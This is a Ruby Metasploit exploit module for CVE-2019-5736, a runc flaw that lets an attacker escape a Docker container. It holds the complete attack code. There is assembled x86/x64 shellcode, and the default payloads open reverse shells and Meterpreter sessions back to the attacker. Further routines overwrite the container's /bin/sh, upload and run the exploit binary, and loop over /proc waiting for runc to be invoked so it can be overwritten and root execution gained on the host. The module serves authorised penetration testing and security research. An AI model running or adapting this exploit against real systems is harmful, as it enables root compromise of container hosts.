405 lines
12 KiB
Ruby
405 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c
|
|
PAYLOAD_MAX_SIZE = 1048576
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Docker Container Escape Via runC Overwrite',
|
|
'Description' => %q{
|
|
This module leverages a flaw in `runc` to escape a Docker container
|
|
and get command execution on the host as root. This vulnerability is
|
|
identified as CVE-2019-5736. It overwrites the `runc` binary with the
|
|
payload and wait for someone to use `docker exec` to get into the
|
|
container. This will trigger the payload execution.
|
|
|
|
Note that executing this exploit carries important risks regarding
|
|
the Docker installation integrity on the target and inside the
|
|
container ('Side Effects' section in the documentation).
|
|
},
|
|
'Author' => [
|
|
'Adam Iwaniuk', # Discovery and original PoC
|
|
'Borys Popławski', # Discovery and original PoC
|
|
'Nick Frichette', # Other PoC
|
|
'Christophe De La Fuente', # MSF Module
|
|
'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)
|
|
],
|
|
'References' => [
|
|
['CVE', '2019-5736'],
|
|
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],
|
|
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],
|
|
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']
|
|
],
|
|
'DisclosureDate' => '2019-01-01',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => %w[linux unix],
|
|
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Unix (In-Memory)',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Type' => :unix_memory,
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux (Dropper) x64',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Type' => :linux_dropper,
|
|
'Arch' => ARCH_X64,
|
|
'Payload' => {
|
|
'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string
|
|
push 4
|
|
pop rdi
|
|
_close_fds_loop:
|
|
dec rdi
|
|
push 3
|
|
pop rax
|
|
syscall
|
|
test rdi, rdi
|
|
jnz _close_fds_loop
|
|
|
|
mov rax, 0x000000000000006c
|
|
push rax
|
|
mov rax, 0x6c756e2f7665642f
|
|
push rax
|
|
mov rdi, rsp
|
|
xor rsi, rsi
|
|
|
|
push 2
|
|
pop rax
|
|
syscall
|
|
|
|
push 2
|
|
pop rax
|
|
syscall
|
|
|
|
push 2
|
|
pop rax
|
|
syscall
|
|
ASM
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'PrependFork' => true
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux (Dropper) x86',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Type' => :linux_dropper,
|
|
'Arch' => ARCH_X86,
|
|
'Payload' => {
|
|
'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string
|
|
push 4
|
|
pop edi
|
|
_close_fds_loop:
|
|
dec edi
|
|
push 6
|
|
pop eax
|
|
int 0x80
|
|
test edi, edi
|
|
jnz _close_fds_loop
|
|
|
|
push 0x0000006c
|
|
push 0x7665642f
|
|
push 0x6c756e2f
|
|
mov ebx, esp
|
|
xor ecx, ecx
|
|
|
|
push 5
|
|
pop eax
|
|
int 0x80
|
|
|
|
push 5
|
|
pop eax
|
|
int 0x80
|
|
|
|
push 5
|
|
pop eax
|
|
int 0x80
|
|
ASM
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
|
'PrependFork' => true
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultOptions' => {
|
|
# Give the user on the target plenty of time to trigger the payload
|
|
'WfsDelay' => 300
|
|
},
|
|
'DefaultTarget' => 1,
|
|
'Notes' => {
|
|
# Docker may hang and will need to be restarted
|
|
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new(
|
|
'OVERWRITE',
|
|
[
|
|
true,
|
|
'Shell to overwrite with \'#!/proc/self/exe\'',
|
|
'/bin/sh'
|
|
]
|
|
),
|
|
OptString.new(
|
|
'SHELL',
|
|
[
|
|
true,
|
|
'Shell to use in scripts (must be different than OVERWRITE shell)',
|
|
'/bin/bash'
|
|
]
|
|
),
|
|
OptString.new(
|
|
'WRITABLEDIR',
|
|
[
|
|
true,
|
|
'A directory where you can write files.',
|
|
'/tmp'
|
|
]
|
|
)
|
|
])
|
|
end
|
|
|
|
def encode_begin(real_payload, reqs)
|
|
super
|
|
|
|
return unless target['Type'] == :unix_memory
|
|
|
|
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
|
|
# Replace any instance of the shell we're about to overwrite with the
|
|
# substitution shell.
|
|
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])
|
|
overwrite_basename = File.basename(datastore['OVERWRITE'])
|
|
shell_basename = File.basename(datastore['SHELL'])
|
|
# Also, substitute shell base names, since some payloads rely on PATH
|
|
# environment variable to call a shell
|
|
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)
|
|
# Prepend shebang
|
|
"#!#{datastore['SHELL']}\n#{pl}\n\n"
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
unless is_root?
|
|
fail_with(Failure::NoAccess,
|
|
'The exploit needs a session as root (uid 0) inside the container')
|
|
end
|
|
if target['Type'] == :unix_memory
|
|
print_warning(
|
|
"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\
|
|
"unavailable on the target as long as the new session is alive. Using a\n"\
|
|
"Meterpreter payload is recommended, since specific code that\n"\
|
|
"daemonizes the process is automatically prepend to the payload\n"\
|
|
"and won\'t block Docker."
|
|
)
|
|
end
|
|
|
|
verify_shells
|
|
|
|
path = datastore['WRITABLEDIR']
|
|
overwrite_shell(path)
|
|
shell_path = setup_exploit(path)
|
|
|
|
print_status("Launch exploit loop and wait for #{wfs_delay} sec.")
|
|
cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false)
|
|
|
|
print_status('Done. Waiting a bit more to make sure everything is setup...')
|
|
sleep(5)
|
|
print_good('Session ready!')
|
|
end
|
|
|
|
def verify_shells
|
|
['OVERWRITE', 'SHELL'].each do |option_name|
|
|
shell = datastore[option_name]
|
|
unless command_exists?(shell)
|
|
fail_with(Failure::BadConfig,
|
|
"Shell specified in #{option_name} module option doesn't exist (#{shell})")
|
|
end
|
|
end
|
|
end
|
|
|
|
def overwrite_shell(path)
|
|
@shell = datastore['OVERWRITE']
|
|
@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"
|
|
print_status("Make a backup of #{@shell} (#{@shell_bak})")
|
|
# This file will be restored if the loop script succeed. Otherwise, the
|
|
# cleanup method will take care of it.
|
|
begin
|
|
copy_file(@shell, @shell_bak)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")
|
|
end
|
|
|
|
print_status("Overwrite #{@shell}")
|
|
begin
|
|
write_file(@shell, '#!/proc/self/exe')
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")
|
|
end
|
|
end
|
|
|
|
def setup_exploit(path)
|
|
print_status('Upload payload')
|
|
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
|
|
if target['Type'] == :unix_memory
|
|
vprint_status("Updated payload:\n#{payload.encoded}")
|
|
upload(payload_path, payload.encoded)
|
|
else
|
|
pl = generate_payload_exe
|
|
if pl.size > PAYLOAD_MAX_SIZE
|
|
fail_with(Failure::BadConfig,
|
|
"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")
|
|
end
|
|
upload(payload_path, generate_payload_exe)
|
|
end
|
|
|
|
print_status('Upload exploit')
|
|
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
|
|
upload_and_chmodx(exe_path, get_exploit)
|
|
register_files_for_cleanup(exe_path)
|
|
|
|
shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
|
|
@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
|
|
print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")
|
|
upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))
|
|
|
|
return shell_path
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status("Writing '#{path}' (#{data.size} bytes) ...")
|
|
begin
|
|
write_file(path, data)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")
|
|
end
|
|
register_file_for_cleanup(path)
|
|
end
|
|
|
|
def upload_and_chmodx(path, data)
|
|
upload(path, data)
|
|
chmod(path, 0o755)
|
|
end
|
|
|
|
def get_exploit
|
|
target_arch = session.arch
|
|
if session.arch == ARCH_CMD
|
|
target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86
|
|
end
|
|
case target_arch
|
|
when ARCH_X64
|
|
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
|
|
when ARCH_X86
|
|
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
|
|
else
|
|
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")
|
|
end
|
|
end
|
|
|
|
def loop_script(exe_path:, payload_path:)
|
|
<<~SHELL
|
|
while true; do
|
|
for f in /proc/*/exe; do
|
|
tmp=${f%/*}
|
|
pid=${tmp##*/}
|
|
cmdline=$(cat /proc/${pid}/cmdline)
|
|
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
|
|
#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&
|
|
sleep 3
|
|
mv -f #{@shell_bak} #{@shell}
|
|
chmod +x #{@shell}
|
|
exit
|
|
fi
|
|
done
|
|
done
|
|
SHELL
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
|
|
# If something went wrong and the loop script didn't restore the original
|
|
# shell in the docker container, make sure to restore it now.
|
|
if @shell_bak && file_exist?(@shell_bak)
|
|
copy_file(@shell_bak, @shell)
|
|
chmod(@shell, 0o755)
|
|
print_good('Container shell restored')
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")
|
|
ensure
|
|
# Make sure we delete the backup file
|
|
begin
|
|
rm_f(@shell_bak) if @shell_bak
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")
|
|
end
|
|
end
|
|
|
|
def on_new_session(new_session)
|
|
super
|
|
@session = new_session
|
|
runc_path = cmd_exec('which docker-runc')
|
|
if runc_path == ''
|
|
print_error(
|
|
"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\
|
|
"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"
|
|
)
|
|
return
|
|
end
|
|
|
|
begin
|
|
rm_f(runc_path)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Unable to delete #{runc_path}: #{e}")
|
|
return
|
|
end
|
|
if copy_file(@runc_backup_path, runc_path)
|
|
chmod(runc_path, 0o755)
|
|
print_good('Original runc binary restored')
|
|
begin
|
|
rm_f(@runc_backup_path)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Unable to delete #{@runc_backup_path}: #{e}")
|
|
end
|
|
else
|
|
print_error(
|
|
"Unable to restore the original runc binary #{@runc_backup_path}\n"\
|
|
"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"
|
|
)
|
|
end
|
|
end
|
|
|
|
end
|